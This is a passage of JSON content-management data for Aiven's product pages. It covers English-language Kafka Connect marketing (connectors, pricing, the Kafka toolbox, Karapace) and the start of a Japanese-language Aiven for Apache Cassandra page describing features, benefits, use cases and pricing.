the data to databases, messaging systems, data warehouses and object storages."}],"markDefs":[],"style":"normal"}]},{"_key":"eb8e9fecb3f7","_type":"textImage","addSpaceBottom":true,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-167313944ca1feee8e8430eccc2f67aba2f00862-1264x351-png","_type":"reference"}},"backgroundPosition":"center center","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-480e4714ce54963150ab20447d3e70e871a92a7d-530x281-png","_type":"reference"}},"rounded":true,"secondaryCTA":{"_type":"link","internalLink":{"_ref":"1td7K8mcJVhl60ZTT80SIr","_type":"reference"},"title":"Read blog"},"text":[{"_key":"842603ac9dac","_type":"block","children":[{"_key":"abff2c16e6420","_type":"span","marks":[],"text":"If the connector you need is not on our list, you can always create a self-managed Apache Kafka Connect cluster and connect it to Aiven for Apache Kafka."}],"markDefs":[],"style":"normal"}],"title":"Use your own connector with Aiven for Apache Kafka®","variant":"mediaRight"},{"_key":"98a2a9e4f6d9bd83b0185f20b086158a","_type":"pricing","addSpaceBottom":false,"addSpaceTop":false,"backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"id":"pricing","noSpaceBottom":false,"noSpaceTop":false,"rounded":true,"service":{"_ref":"fa631193-9a6d-498e-8545-af24408bef0b","_type":"reference"},"subtitle":[{"_key":"ef55ce1d020c","_type":"block","children":[{"_key":"748c18e28c03","_type":"span","marks":[],"text":"No additional ingress and egress costs even with intensive networking traffic. No more unpleasant surprises with your network bills. No set limit to your connector deployment — the only limit is your cluster setup, and you can increase or decrease that whenever you choose."}],"markDefs":[],"style":"normal"}],"tagline":"Pricing plans","title":"Aiven for Apache Kafka® Connect pricing","variant":"single-service"},{"_key":"335aac69fec0","_type":"cardList","addSpaceTop":false,"align":"center","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":true,"fullWidth":true,"id":"pricing","items":[{"_key":"27badc4b4700","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://aiven.io/pricing?product=kafka_connect\u0026tab=plan-pricing","title":"Show me the plans"},"subtitle":[{"_key":"920617ea50ee","_type":"block","children":[{"_key":"e0d4db28ec890","_type":"span","marks":[],"text":"Starting at just $126 a month, prices vary based on the number of brokers and storage needs. Hourly billing saves you money. Change your plan anytime."}],"markDefs":[],"style":"normal"}],"title":"Compare plans","variant":"default"}],"rounded":false,"subtitle":[{"_key":"ee0d221255bb","_type":"block","children":[{"_key":"5df5b65478c90","_type":"span","marks":[],"text":"No additional ingress and egress costs even with intensive networking traffic. No more unpleasant surprises with your network bills. No set limit to your connector deployment — the only limit is your cluster setup, and you can increase or decrease that whenever you choose."}],"markDefs":[],"style":"normal"}],"tagline":"Pricing plans","title":"Aiven for Apache Kafka® Connect pricing"},{"_key":"441a98f7dc30","_type":"textColumn","addSpaceBottom":true,"addSpaceTop":false,"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-cf42456a998b3003859e724ee166dc968d52fc4a-1440x367-svg","_type":"reference"}},"darkTheme":true,"disabled":false,"fullWidth":true,"noSpaceTop":false,"primaryCTA":{"_type":"link","caption":"No credit card required.","externalUrl":"https://console.aiven.io/signup","title":"Get started for free"},"rounded":false,"title":"Get your first cluster online now","variant":"centerColumn"},{"_key":"cc7e7eb7b131","_type":"cardList","align":"left","disabled":false,"fullWidth":false,"id":"toolbox","items":[{"_key":"c6ccc09ad658","_type":"cardItem","borderTopColor":{"_ref":"680fccb8-9369-4d66-b572-be171d992946","_type":"reference"},"ctaLink":{"_type":"link","externalUrl":"https://docs.aiven.io/docs/products/kafka/kafka-mirrormaker","title":"See docs"},"image":{"_type":"mainImage","asset":{"_ref":"image-4b2aa595510520d455581c85f9f96e2cba83a3cd-64x64-svg","_type":"reference"}},"subtitle":[{"_key":"af8a3b470e4f","_type":"block","children":[{"_key":"af97cf8bad7f0","_type":"span","marks":[],"text":"Replicate your data between Kafka clusters."}],"markDefs":[],"style":"normal"}],"title":"Aiven for Apache® MirrorMaker 2","variant":"icon-card"},{"_key":"bd48c0f22303","_type":"cardItem","borderTopColor":{"_ref":"21e657b8-5980-4a85-87f8-595301495bef","_type":"reference"},"ctaLink":{"_type":"link","externalUrl":"https://docs.aiven.io/docs/products/kafka/howto/enable-karapace","title":"See docs"},"image":{"_type":"mainImage","asset":{"_ref":"image-d318221bd7c9549b4d2dcde4c55457d9b5c6119b-56x56-svg","_type":"reference"}},"subtitle":[{"_key":"b547ab67f52a","_type":"block","children":[{"_key":"a7ffc592e7d50","_type":"span","marks":[],"text":"Add schema management and REST API interface to your Apache Kafka."}],"markDefs":[],"style":"normal"}],"title":"Karapace","variant":"icon-card"},{"_key":"22e4c31dbe4f2102f37abcae5dba4816","_type":"cardItem","borderTopColor":{"_ref":"21e657b8-5980-4a85-87f8-595301495bef","_type":"reference"},"ctaLink":{"_type":"link","externalUrl":"https://docs.aiven.io/docs/products/kafka/howto/list-tools","title":"See the full list of tools here"},"image":{"_type":"mainImage","asset":{"_ref":"image-6dbcbb73d0acbd7ab23f85df1850d2714d8bf28b-56x56-svg","_type":"reference"}},"subtitle":[{"_key":"c4ef905df3f6","_type":"block","children":[{"_key":"1a0390af4c640","_type":"span","marks":[],"text":"Use "},{"_key":"1a0390af4c641","_type":"span","marks":["9df9446e556c"],"text":"Klaw"},{"_key":"1a0390af4c642","_type":"span","marks":[],"text":" for data governance of your Apache Kafka Topics, "},{"_key":"1a0390af4c643","_type":"span","marks":["e6fe1e73f484"],"text":"Provectus"},{"_key":"1a0390af4c644","_type":"span","marks":[],"text":" to monitor and manage Apache Kafka clusters, or "},{"_key":"1a0390af4c645","_type":"span","marks":["ee964d21f3e5"],"text":"kcat"},{"_key":"1a0390af4c646","_type":"span","marks":[],"text":" to produce and consume records or list service configurations."}],"markDefs":[{"_key":"9df9446e556c","_type":"link","href":"https://www.klaw-project.io/"},{"_key":"e6fe1e73f484","_type":"link","href":"https://docs.aiven.io/docs/products/kafka/howto/provectus-kafka-ui"},{"_key":"ee964d21f3e5","_type":"link","href":"https://docs.aiven.io/docs/products/kafka/howto/kcat"}],"style":"normal"}],"title":"A complete Apache Kafka ecosystem","variant":"icon-card"},{"_key":"af195155db68","_type":"cardItem","borderTopColor":{"_ref":"680fccb8-9369-4d66-b572-be171d992946","_type":"reference"},"ctaLink":{"_type":"link","externalUrl":"https://docs.aiven.io/docs/products/flink/howto/connect-kafka","title":"See docs"},"image":{"_type":"mainImage","asset":{"_ref":"image-cd6cb0b09441bc7b73a024104bc396f6db9c7e6d-104x48-svg","_type":"reference"}},"subtitle":[{"_key":"fbec11fd3ce4","_type":"block","children":[{"_key":"84e43f0c585a0","_type":"span","marks":[],"text":"Create SQL-based streaming data pipelines."}],"markDefs":[],"style":"normal"}],"title":"Aiven for Apache Kafka® \u0026 Aiven for Apache Flink®","variant":"icon-card"}],"rounded":false,"subtitle":[{"_key":"970839294536","_type":"block","children":[{"_key":"8b65cdb408ea0","_type":"span","marks":[],"text":"Choose from a wide range of valuable tools and plugins for your Apache Kafka setup. "},{"_key":"21d9b3c1c430","_type":"span","marks":["c113d28d3f5c"],"text":"Check out the full list of tools here"}],"markDefs":[{"_key":"c113d28d3f5c","_type":"link","href":"https://docs.aiven.io/docs/products/kafka/howto/list-tools"}],"style":"normal"}],"title":"The Apache Kafka Toolbox"},{"_key":"9a9da40fd5c6","_type":"textImage","addSpaceBottom":true,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundImage":{"_type":"mainImage","asset":{"_ref":"image-167313944ca1feee8e8430eccc2f67aba2f00862-1264x351-png","_type":"reference"}},"backgroundPosition":"center center","disabled":false,"fullWidth":false,"image":{"_type":"mainImage","asset":{"_ref":"image-d0a79bc5fed3162bbefc7216f3e6c4084573ee9a-562x205-png","_type":"reference"}},"narrowImage":false,"primaryCTA":{"_type":"link","externalUrl":"https://github.com/aiven/karapace","title":"View in Github"},"rounded":true,"secondaryCTA":{"_type":"link","externalUrl":"https://docs.aiven.io/docs/products/kafka/karapace","title":"Get started with Karapace"},"text":[{"_key":"53faffaef4e1","_type":"block","children":[{"_key":"83252946aa330","_type":"span","marks":["6755e69730b7"],"text":"Karapace"},{"_key":"83252946aa331","_type":"span","marks":[],"text":" is an open source implementation of Kafka REST and Schema Registry. Karapace enables you to produce and consume messages, and manage your Kafka cluster via REST APIs. With Karapace Schema Registry, you can create, manage and evolve message schemas."}],"markDefs":[{"_key":"6755e69730b7","_type":"link","href":"https://karapace.io"}],"style":"normal"}],"title":"Karapace Schema registry - create, manage and evolve message schemas","variant":"mediaRight"},{"_key":"42136c83fa90","_type":"cardList","align":"center","disabled":false,"fullWidth":false,"id":"resources","items":[{"_key":"cec2ac4fadd8","_ref":"7bElzaANLEsZkdrtXlmTqh","_type":"reference"},{"_key":"84c380b5943c","_ref":"416nMKY0qTdqgpEQP114Ks","_type":"reference"},{"_key":"91ed9e154066","_ref":"8b9a64ed-bac3-42ca-b892-2b5fe33d4bf1","_type":"devArticle"}],"rounded":false,"tagline":"Resources","title":"Explore the world of Apache Kafka with Aiven"}],"infoBanner":{"_ref":"0a937f79-7e44-4e92-b3e4-c9c0525bd38b","_type":"reference"},"infoBannerPosition":"top","seo":{"_type":"metaData","metaDescription":"Aiven for Apache Kafka Connect – fully managed, maintenance-free ✓ All-in-one open source cloud data platform ✓ Try it for free","metaImage":{"_type":"mainImage","asset":{"_ref":"image-16b477dd3d9684ace0bd61a09f594c74bd175f46-1200x630-jpg","_type":"reference"}},"metaTitle":"Managed Apache Kafka® Connect"},"service":{"_ref":"fa631193-9a6d-498e-8545-af24408bef0b","_type":"reference"},"slug":{"_type":"slug","current":"/kafka-connect"},"title":"Kafka Connect"} {"__i18n_base":{"_ref":"abf871eb-d0d0-4396-8768-51db839c21d4","_type":"reference"},"__i18n_lang":"ja","_createdAt":"2022-09-30T20:29:03Z","_id":"abf871eb-d0d0-4396-8768-51db839c21d4__i18n_ja","_rev":"L3boCkkiM9On4ApfxNjYE2","_type":"product","_updatedAt":"2024-03-12T04:51:40Z","content":[{"_key":"4e8702daeb69","_type":"hero","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"breadcrumbs":{"currentPage":"Aiven for Apache Cassandra®","parentPage":{"_type":"link","internalLink":{"_ref":"3b0bd26a-ed6b-424d-a710-7fe3f17b29de__i18n_ja","_type":"reference"},"title":"Aivenプラットフォーム"}},"description":[{"_key":"bf339702aa7e","_type":"block","children":[{"_key":"110c173f91f90","_type":"span","marks":[],"text":"Aiven for Apache Cassandra® は拡張性、高可用性、優れたフォールトトレランスを実現したフルマネージドの分散型NoSQLデータベースです。"}],"markDefs":[],"style":"normal"}],"disabled":false,"hostProviders":[{"_key":"578ed7310c27","_ref":"080b4781-d7b8-4d95-8aa6-aeb4989bf5c6","_type":"reference"},{"_key":"7b338cc11703","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"reference"},{"_key":"10e4ca9488e7","_ref":"62e1cd4e-b8a5-4a68-a78f-80cd075c17e6","_type":"reference"},{"_key":"a18ec3c2e5f8","_ref":"54eb8b0b-593e-4fe5-908f-9a441bd329fa","_type":"reference"},{"_key":"73742df4ef01","_ref":"6ed4cb03-b0d9-4009-bbf7-382ca41bcf26","_type":"reference"}],"id":"hero","image":{"_type":"mainImage","asset":{"_ref":"image-67a93efff22c31f3398dfda6484a11e49b2505f6-1600x1137-png","_type":"reference"}},"isImageLarge":false,"primaryCTA":{"_type":"link","caption":"クレジットカードの登録は不要です。","externalUrl":"https://console.aiven.io/signup","title":"無料で始める"},"secondaryCTA":{"_type":"link","externalUrl":"https://aiven.io/docs/products/cassandra","title":"ドキュメントを見る"},"tagline":"マネージド&ホスティング","title":"Aiven for Apache Cassandra®","variant":"default"},{"_key":"5182ebbb04f3","_type":"scrollSpyNavigation","disabled":false,"fullWidth":false,"items":[{"_key":"8f43b5b64eae","_type":"scrollSpyNavItem","sectionId":"works","title":"機能"},{"_key":"56a49faaf61d","_type":"scrollSpyNavItem","sectionId":"benefits","title":"メリット"},{"_key":"d74c953c2b19","_type":"scrollSpyNavItem","sectionId":"references","title":"お客様の活用事例"},{"_key":"dad3ec5d64ff","_type":"scrollSpyNavItem","sectionId":"pricing","title":"価格"},{"_key":"f80f76f74ee8","_type":"scrollSpyNavItem","sectionId":"features","title":"機能紹介"},{"_key":"00a694ce4c21","_type":"scrollSpyNavItem","sectionId":"resources","title":"リソース"},{"_key":"fc6e049ee9a3","_type":"scrollSpyNavItem","sectionId":"faq","title":"よくある質問"}],"logo":{"_type":"mainImage","asset":{"_ref":"image-9b28317a07c8fcaf77ac447ab60252e031bdeae6-64x64-svg","_type":"reference"}},"logoLink":{"_type":"link","internalLink":{"_ref":"abf871eb-d0d0-4396-8768-51db839c21d4__i18n_ja","_type":"reference"},"title":"Aiven for Apache Cassandra®"},"rounded":false,"secondaryCTA":{"_type":"link","externalUrl":"https://console.aiven.io/signup","title":"無料で始める"},"title":"Aiven for Apache Cassandra"},{"_key":"6915a9c7174f","_type":"serviceDiagram","disabled":false,"fullWidth":true,"id":"works","resources":{"_type":"textItem","content":[{"_key":"7a96d10ef83f","_type":"block","children":[{"_key":"dfba7ce02202","_type":"span","marks":["strong"],"text":"リソース"}],"markDefs":[],"style":"normal"},{"_key":"afbd2cc4220d","_type":"block","children":[{"_key":"c9271723eef60","_type":"span","marks":["ec2dbd00690c"],"text":"Apache Cassandraとは(ブログ)"}],"markDefs":[{"_key":"ec2dbd00690c","_type":"internalLink","internalLink":{"_ref":"6ZDXHjT69kyBI80TVQmyE8","_type":"reference"}}],"style":"normal"},{"_key":"e111e036232c","_type":"block","children":[{"_key":"9d5612e9a7d90","_type":"span","marks":["fdd2e53426d8"],"text":"Aiven for Apache Cassandra®(ドキュメント)"}],"markDefs":[{"_key":"fdd2e53426d8","_type":"link","href":"https://aiven.io/docs/products/cassandra"}],"style":"normal"}]},"rounded":false,"steps":[{"_key":"37c060512de0","_type":"textItem","content":[{"_key":"b5717d32146a","_type":"block","children":[{"_key":"b814885ffabe0","_type":"span","marks":[],"text":"Aivenが提供するフルマネージドのフォールトトレラントNoSQLデータベース"}],"markDefs":[],"style":"h3"},{"_key":"ad5d9042b57d","_type":"block","children":[{"_key":"abe31aad63930","_type":"span","marks":[],"text":"Aiven for Apache Cassandra® は、可用性、パフォーマンス、拡張性に優れたワイドカラム型NoSQLデータベースです。非同期レプリケーションを使用する分散アーキテクチャに対応し、高いフォールトトレラントを実現しています。"}],"markDefs":[],"style":"normal"},{"_key":"367bde79a6e1","_type":"block","children":[{"_key":"d7cd8af867b80","_type":"span","marks":[],"text":"大容量データを扱うために設計されたApache Cassandra® は、マスターノードを参照することなく個々のノードが互いに通信する真の分散データベースです。これにより、拡張性とフォールトトレランス性が向上しています。"}],"markDefs":[],"style":"normal"},{"_key":"7db6b658c29f","_type":"block","children":[{"_key":"48fcde95c0000","_type":"span","marks":[],"text":"管理機能の追加やアップデートが可能なAivenを使い、あらゆるビジネスのニーズに対応する信頼性の高いデータベースを構築できます。"}],"markDefs":[],"style":"normal"}]}],"subtitle":[{"_key":"b1e2d12f827a","_type":"block","children":[{"_key":"5725659b6cbf0","_type":"span","marks":[],"text":"フルマネージドのCassandraのセットアップは、Webコンソールから直接、またはAPI、CLI、Terraformプロバイダーを使用したプログラムで10分以内に完了します。既存の技術スタックとの接続も容易なため、すぐに高性能な分散型NoSQLデータベースの利用を始めることができます。"}],"markDefs":[],"style":"normal"}],"tagline":"機能","title":"Aiven for Apache Cassandra®でできること","tools":[{"_key":"c68d323ca8e5","_ref":"5e27c945-a56b-494c-93a1-0279742d2b50","_type":"reference"},{"_key":"c7fa5242c650","_ref":"77ebe529-c4c8-4bf6-be6b-26668ab82d7e","_type":"reference"},{"_key":"a9ee6c94ef40","_ref":"010e0529-1647-42bc-8e77-1aa50a4a1cb8","_type":"reference"},{"_key":"55adcdf2bb68","_ref":"7c2f7eec-06ee-4fc5-ad8c-446822dae6c2","_type":"reference"},{"_key":"0930828f9f86","_ref":"3a2594cd-0289-4c52-9b6a-cf81f475498d","_type":"reference"}],"toolsTitle":"必要なツールで管理する","variant":"cassandra"},{"_key":"25d1de3d2695","_type":"iconList","addSpaceBottom":true,"addSpaceTop":true,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":true,"iconSize":24,"icons":[{"_key":"ada73a4f407f","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-0e149027ad6432057ac699a57e7f06a9b1c62064-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"04321132533e","_type":"block","children":[{"_key":"d33d8216baf40","_type":"span","marks":[],"text":"重要なアプリケーションにとってダウンタイムは災害です。その災害を防ぐため、Aivenは99.99%のアップタイムを実現しました。さらに、必要な際には、サポートチームのスタッフに問い合わせることができます。"}],"markDefs":[],"style":"normal"}],"title":"99.99%のアップタイム - 100%サポート要員によるサポート"},{"_key":"9e7bd37ad46c","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-728af07e15f7eb0d5a2eb43ffe3ee8ef774a969c-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"82e1c300f395","_type":"block","children":[{"_key":"e70603ac3c82","_type":"span","marks":[],"text":"Aiven for Cassandraでは、クラスタのメモリの増大、新しいクラスタの作成、クラウドプロバイダーの切り替え、新しいリージョンへの拡張などを、かつてないほど簡単に実行できます。"}],"markDefs":[],"style":"normal"}],"title":"必要なときにいつでも、簡単にスケールアップ、スケールダウンが可能"},{"_key":"5d7c4d5ec748","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-464c0c76b1b33f3b61b2605b9716b5455cf696f3-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"91af81568fbe","_type":"block","children":[{"_key":"217a134fed990","_type":"span","marks":[],"text":"クラスタへのメンテナンスアップデートやバージョンアップの適用に時間を取られていませんか。お客様がデータを実用的なインサイトに変えることに集中できるために、このような作業は私たちにおまかせください。"}],"markDefs":[],"style":"normal"}],"title":"自動アップデート、自動アップグレードによりストレスゼロ"},{"_key":"b53e11b8ad4a","_type":"iconItem","iconImage":{"_type":"mainImage","asset":{"_ref":"image-e7196743bdb72ecfdfadc1e773ff78971bb14c15-24x24-svg","_type":"reference"}},"subtitle":[{"_key":"68cb782f728f","_type":"block","children":[{"_key":"a9ee17207b31","_type":"span","marks":[],"text":"Aiven for Apache Cassandraの価格は、一括払いで、ネットワークからデータストレージなどにかかるコストがすべて含まれています。追加の請求や手数料などは一切ありません。"}],"markDefs":[],"style":"normal"}],"title":"透明性が高い価格設定 - ネットワークコストは不要"}],"id":"benefits","rounded":false,"subtitle":[{"_key":"5ee5e4d9bc52","_type":"block","children":[{"_key":"65982be526560","_type":"span","marks":[],"text":"Aivenのフルマネージドのサービスでは、Apache Cassandraのすべての機能をインフラ関連のストレスなく利用できます。"}],"markDefs":[],"style":"normal"},{"_key":"2dcc7bd03d34","_type":"block","children":[{"_key":"7e04226581330","_type":"span","marks":[],"text":"Aivenは、サービスのセットアップが容易なため、データパイプラインへのCassandraの組み込みも数分で完了し、すぐに開発に取り組むことが可能です。インストール、管理、アップデートのすべてをおまかせください。お客様は、豊富なツールセットと統合機能をすぐにご利用いただけます。"}],"markDefs":[],"style":"normal"},{"_key":"01bc7a8b4fae","_type":"block","children":[{"_key":"128535b635480","_type":"span","marks":[],"text":"Aiven for Apache Cassandraを使用すると、可用性、パフォーマンス、拡張性に優れたプラットフォームで、可用性、パフォーマンス、拡張性に優れたデータベースを利用できます。"}],"markDefs":[],"style":"normal"},{"_key":"9aa2d1289ed8","_type":"block","children":[{"_key":"1e8486e434f7","_type":"span","marks":[],"text":"Aivenがお届けする最高の組み合わせです。"}],"markDefs":[],"style":"normal"}],"tagline":"メリット","title":"Aiven for Apache Cassandra®サービスのメリット","variant":"header-left"},{"_key":"a7d30ecaf654","_type":"cardList","align":"center","disabled":false,"fullWidth":false,"id":"references","items":[{"_key":"7c4a4378789f","_type":"cardItem","subtitle":[{"_key":"619b35740189","_type":"block","children":[{"_key":"f65fe8da2ee60","_type":"span","marks":[],"text":"Cassandraの拡張性は、eコマースアプリケーションに最適です。製品カタログやパーソナライズエンジンに使用し、季節に応じたピークにも容易に対応し、さらに運用を中断することのない高いフォールトトレランス性を備えています。"}],"markDefs":[],"style":"normal"}],"title":"eコマース","variant":"icon-card"},{"_key":"40bbb53cd0c3","_type":"cardItem","subtitle":[{"_key":"cc2bb1a1a4e0","_type":"block","children":[{"_key":"57b3640659200","_type":"span","marks":[],"text":"Cassandraは、発送から配達まで、ほぼすべての追跡に活用できます。膨大なデータの処理と分析を必要とする大規模な物流組織では、グローバルな配送処理に使用され、商品のスムーズで確実な流通に役立てています。"}],"markDefs":[],"style":"normal"}],"title":"物流","variant":"icon-card"},{"_key":"0cd60ba580e7","_type":"cardItem","subtitle":[{"_key":"1a94a22d36f4","_type":"block","children":[{"_key":"d26a9d61d0bc0","_type":"span","marks":[],"text":"Facebookが開発したCassandraは、視聴時間など、詳細な視聴習慣の追跡に最適化されています。このデータを基に個別化した推奨を提供することで、顧客体験は多様なユースケースへと広がります。"}],"markDefs":[],"style":"normal"}],"title":"エンターテインメント","variant":"icon-card"}],"rounded":false,"tagline":"お客様の活用事例","title":"Aivenのお客様によるApache Cassandra®の活用方法"},{"_key":"df9c7d29f1a7","_type":"cardList","addSpaceTop":true,"align":"center","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":true,"id":"pricing","items":[{"_key":"1c5e376ed538","_type":"cardItem","ctaLink":{"_type":"link","externalUrl":"https://aiven.io/ja/pricing?product=cassandra","title":"プランを見る"},"subtitle":[{"_key":"8fdd98c591cd","_type":"block","children":[{"_key":"e1296b63a5cf0","_type":"span","marks":[],"text":"月額420ドルからスタートし、価格は、ノード数とストレージ要件に応じて変わります。時間単位での課金により、コストを削減できます。プランの変更は、追加料金なしでいつでも可能です。"}],"markDefs":[],"style":"normal"}],"title":"プランの比較","variant":"default"}],"rounded":false,"subtitle":[{"_key":"969c6537af90","_type":"block","children":[{"_key":"fe2d67069b970","_type":"span","marks":[],"text":"月額にはすべてが含まれているため、月末に予期せぬ請求額が届くことはありません。メンテナンス、ネットワーク、ストレージの追加費用もありません。プライベートネットワーク(VPC)、シングルテナント、高い可用性のマルチAZを利用できます。必要なときにクラスタやリージョンをスピンアップし、不要なときにはシャットダウンできます。"}],"markDefs":[],"style":"normal"}],"tagline":"価格プラン","title":"価格 - 利用した分だけ課金"},{"_key":"f87f714443e0","_type":"textColumn","backgroundColor":{"_ref":"691c748b-6770-40d0-94dc-95f21aa776c8","_type":"reference"},"darkTheme":true,"disabled":false,"fullWidth":true,"primaryCTA":{"_type":"link","caption":"クレジットカードの登録は不要です。","externalUrl":"https://console.aiven.io/signup","title":"無料で始める"},"rounded":false,"title":"今すぐ最初のデータ基盤を立ち上げましょう","variant":"centerColumn"},{"_key":"f4e2cb30eaf6","_type":"textColumn","backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"disabled":false,"fullWidth":true,"id":"features","rounded":false,"tagline":"機能紹介","title":"主な機能","variant":"centerColumn"},{"_key":"b2eda0fc84959d13ac1d2c4823d69f7d","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","disabled":false,"fullWidth":true,"image":{"_type":"mainImage","asset":{"_ref":"image-c6e3341ad2bd91927274c2c3818eb8a2b5cd1a00-1280x720-jpg","_type":"reference"}},"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"tagline":"セットアップ","text":[{"_key":"49a77882f1c7","_type":"block","children":[{"_key":"27413a1f980e","_type":"span","marks":[],"text":"10分で本番環境にApache Cassandraクラスタを構築"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"b53cc141f781","_type":"block","children":[{"_key":"7ecb525811c6","_type":"span","marks":[],"text":"ご希望のクラウドにデプロイ可能 - 5つのパブリッククラウドと100以上のリージョンをサポート"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"49b3c9c78054","_type":"block","children":[{"_key":"8147a1c782ab0","_type":"span","marks":[],"text":"厳選されたインスタンスタイプとストレージオプションに基づく高性能クラスタ"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"1af7229b568f","_type":"block","children":[{"_key":"d948b21ef2dd0","_type":"span","marks":[],"text":"すべてのプランに、クラウドプロバイダーの可用性ゾーンに分散した最低3台のノードが付属"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"64574d68faad","_type":"link","href":"https://docs.aiven.io/docs/platform/concepts/byoa"}],"style":"normal"},{"_key":"bbba828d86f3","_type":"block","children":[{"_key":"4845751c6e01","_type":"span","marks":[],"text":"厳しい管理要件に対応した"},{"_key":"32203e69bcea1","_type":"span","marks":["64574d68faad"],"text":"Bring-your-own-cloud (BYOC)"},{"_key":"32203e69bcea2","_type":"span","marks":[],"text":"デプロイモデル"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"64574d68faad","_type":"link","href":"https://docs.aiven.io/docs/platform/concepts/byoc"}],"style":"normal"}],"title":"柔軟、迅速、ストレスフリー","variant":"mediaLeft"},{"_key":"94ae0fa9843a3d64142167018853142e","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","disabled":false,"fullWidth":true,"image":{"_type":"mainImage","asset":{"_ref":"image-74393525a8b040dca2dadd2397cfdab1ee47df06-1280x720-jpg","_type":"reference"}},"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"tagline":"接続","text":[{"_key":"c6ceb4601b96","_type":"block","children":[{"_key":"05ecc6b92d940","_type":"span","marks":["b43d856437ee"],"text":"VPC peering"},{"_key":"05ecc6b92d941","_type":"span","marks":[],"text":"、"},{"_key":"05ecc6b92d942","_type":"span","marks":["fb3f903b41c2"],"text":"PrivateLink"},{"_key":"05ecc6b92d943","_type":"span","marks":[],"text":"または"},{"_key":"05ecc6b92d944","_type":"span","marks":["cab2c5d7bdd8"],"text":"TransitGateway"},{"_key":"05ecc6b92d945","_type":"span","marks":[],"text":"テクノロジーを使用したセキュアなネットワーク接続"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"b43d856437ee","_type":"link","href":"https://docs.aiven.io/docs/platform/howto/manage-vpc-peering"},{"_key":"fb3f903b41c2","_type":"link","href":"https://docs.aiven.io/docs/tools/cli/service/privatelink"},{"_key":"cab2c5d7bdd8","_type":"link","href":"https://help.aiven.io/en/articles/3507710-attach-vpc-to-aws-transit-gateway"},{"_key":"6b72d63da7ac","_type":"link","href":"https://aiven.io/integrations-and-connectors"},{"_key":"fe6d4586ca67","_type":"link","href":"https://aiven.io/time-series-databases/monitoring-and-observability"}],"style":"normal"},{"_key":"51ae86da8927","_type":"block","children":[{"_key":"859dd982825a","_type":"span","marks":[],"text":"Datadog、Prometheus、Jolokia、その他のお気に入りのオブザーバビリティ(可観測性)ツールに"},{"_key":"fc68bee21a6a","_type":"span","marks":["fb2b35982b87"],"text":"統合"},{"_key":"d853bd2d4853","_type":"span","marks":[],"text":"したり、"},{"_key":"b866807f0fda","_type":"span","marks":["cffabb36052f"],"text":"Aivenの可観測性ツール"},{"_key":"02d10c4cba8b","_type":"span","marks":[],"text":"を使用して監視とロギングを強化することが可能"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"fb2b35982b87","_type":"internalLink","internalLink":{"_ref":"c45be782-8d01-4d1d-a207-245deea2dfc4__i18n_ja","_type":"reference"}},{"_key":"cffabb36052f","_type":"internalLink","internalLink":{"_ref":"4ffa575d-3214-4ed9-982c-6ee1b82bb5dd","_type":"reference"}}],"style":"normal"}],"title":"データインフラストラクチャとの統合","variant":"mediaRight"},{"_key":"19c8f135482c","_type":"textImage","addSpaceBottom":false,"addSpaceTop":false,"backgroundColor":{"_ref":"bad36c2a-4fde-4006-88ce-318196f3ff07","_type":"reference"},"backgroundPosition":"center center","disabled":false,"fullWidth":true,"image":{"_type":"mainImage","asset":{"_ref":"image-347106a896f09c702a523974fbe4e92e70e01c9a-1280x720-jpg","_type":"reference"}},"noSpaceBottom":false,"noSpaceTop":false,"rounded":false,"tagline":"管理","text":[{"_key":"14550b483dcc","_type":"block","children":[{"_key":"65f358ff37970","_type":"span","marks":[],"text":"Aiven Console (GUI) 